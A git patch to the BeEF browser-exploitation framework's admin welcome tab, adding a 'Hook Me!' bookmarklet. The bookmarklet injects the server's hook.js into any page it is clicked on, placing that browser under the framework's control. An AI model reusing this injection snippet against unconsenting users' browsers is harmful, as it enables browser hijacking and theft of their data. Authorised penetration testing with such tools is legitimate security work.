From 22cd68101d29e0002e428ca838a9283d3f92a0c2 Mon Sep 17 00:00:00 2001 From: Christian Frichot Date: Sat, 30 Mar 2013 17:31:36 +0800 Subject: [PATCH] Added Bookmarklet to the Welcome Tab in the Admin UI. #863 --- .../admin_ui/media/javascript/ui/panel/WelcomeTab.js | 9 ++++++++- 1 file changed, 8 insertions(+), 1 deletion(-) diff --git a/extensions/admin_ui/media/javascript/ui/panel/WelcomeTab.js b/extensions/admin_ui/media/javascript/ui/panel/WelcomeTab.js index e420dc430..ba3beab60 100644 --- a/extensions/admin_ui/media/javascript/ui/panel/WelcomeTab.js +++ b/extensions/admin_ui/media/javascript/ui/panel/WelcomeTab.js @@ -6,6 +6,10 @@ WelcomeTab = function() { + var hookURL = location.protocol+'%2f%2f'+location.hostname+(location.port ? ':'+location.port : '')+'%2fhook.js'; + var bookmarklet = "javascript:%20(function%20()%20{%20var%20url%20=%20%27__HOOKURL__%27;if%20(typeof%20beef%20==%20%27undefined%27)%20{%20var%20bf%20=%20document.createElement(%27script%27);%20bf.type%20=%20%27text%2fjavascript%27;%20bf.src%20=%20url;%20document.body.appendChild(bf);}})();" + bookmarklet = bookmarklet.replace(/__HOOKURL__/,hookURL); + welcome = " \
\

BeEF - The Browser Exploitation Framework


\ @@ -13,6 +17,7 @@ WelcomeTab = function() {

Getting Started


\

Welcome to BeEF!


\

Before being able to fully explore the framework you will have to 'hook' a browser. To begin with you can point a browser towards the basic demo page here, or the advanced version here.


\ +

If you want to hook ANY page (for debugging reasons of course), drag the following bookmarklet link into your browser's status bar, then simply click the shortcut on another page: Hook Me!


\

After a browser is hooked into the framework they will appear in the 'Hooked Browsers' panel on the left. Hooked browsers will appear in either an online or offline state, depending on how recently they have polled the framework.


\

Hooked Browsers


\

To interact with a hooked browser simply left-click it, a new tab will appear. \ @@ -46,7 +51,9 @@ WelcomeTab = function() {

\ "; - WelcomeTab.superclass.constructor.call(this, { + welcome = welcome.replace(/__BOOKMARKLETURL__/,bookmarklet); + + WelcomeTab.superclass.constructor.call(this, { region:'center', padding:'10 10 10 10', html: welcome,